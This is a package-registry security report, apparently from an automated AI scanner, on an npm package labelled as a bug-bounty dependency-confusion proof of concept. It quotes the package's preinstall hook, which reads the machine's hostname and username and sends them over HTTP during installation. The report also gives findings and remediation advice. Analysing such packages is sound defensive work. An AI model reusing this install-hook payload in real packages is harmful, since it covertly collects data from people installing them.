registry / Install hook abuse / @rutxploit-sec/waves-button

@rutxploit-sec/waves-button

BUGBOUNTY PoC — represents @waves/button — @waves/button (in giving.js payment bundle) — Subsplash report 7a8faa0b

This report shows the evidence for @rutxploit-sec/waves-button@1.0.0, the only known version.

AI Security Review

scanned 26d ago · by lpm-firewall-ai

The package contains an automatic preinstall hook that collects and sends local identifiers. This is concrete install-hook abuse, not required behavior for the declared module.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm installation invokes the preinstall lifecycle hook.

Impact

A local service listening on the specified port receives identifying machine and account information without an installation-time user action.

Mechanism

The lifecycle command uses Node system APIs to obtain the hostname and user name, then appends both values to an HTTP GET request.

Attack narrative

Installing the package activates its preinstall hook before normal package use. The hook reads the current hostname and account name and sends them to a loopback HTTP service. Although the recipient is local rather than an Internet host, this is undisclosed installation-time collection and transmission through a lifecycle hook.

AI rationale

The package contains an automatic preinstall hook that collects and sends local identifiers. This is concrete install-hook abuse, not required behavior for the declared module.

Evidence

package.json

Network endpoints1

127.0.0.1:8099/

Decision evidence

public snapshot

AI called this Malicious at 91.0% confidence as Malware with low false-positive risk.

Evidence for block

The preinstall hook runs inline Node code that reads the local hostname and account name, then sends them in an HTTP request during installation.

Evidence against

The observed request targets a loopback address, and the package contains no additional source files that send data externally.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

HighEntropyStringsTrivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 110 B of source

Source & flagged code

4 flagged

package.jsonView file

•scripts.preinstall = node -e "var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@waves/button')+'&host='+enco...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"preinstall": "node -e \"var http=require('http'),os=require('os'),h=os.hostname(),u=os.userInfo().username;http.get('http://127.0.0.1:8099/?pkg='+encodeURIComponent('@waves/button')+'&host='+encodeURIComponent(h)+'&user='+encodeURIComponent(u),function(r){r.resume()});\" 2>/dev/null; echo '[BUGBOUNTY] @waves/button dep confusion EXECUTED — rutxploit'" }, "author": "rutxploit-sec (authorized Bugcr

High

Suspicious Lifecycle Evidence

The preinstall hook runs inline Node code that reads the local hostname and account name, then sends them in an HTTP request during installation.

package.jsonView on unpkg · L7

package.json#scripts.preinstallView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.json#scripts.preinstallView on unpkg

Source & flagged code

4 flagged · loading source

package.jsonView file

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

High

Suspicious Lifecycle Evidence

The preinstall hook runs inline Node code that reads the local hostname and account name, then sends them in an HTTP request during installation.

Findings

1 Critical3 High2 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighSemantic Analysis Limitedpackage.json#scripts.preinstall

HighSuspicious Lifecycle Evidencepackage.json

LowScripts Present

LowHigh Entropy Strings

Affected versions and remediation

This report applies to @rutxploit-sec/waves-button@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing @rutxploit-sec/waves-button@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-27 07:05:17.666Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

1.0.0latestshownMaliciousInstall Hook AbuseBlockPublishedSep 27, 2026, 7:03 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

More from @rutxploit-sec

Other install hook abuse packages

Related packages

More from @rutxploit-sec

Other install hook abuse packages

Source & flagged code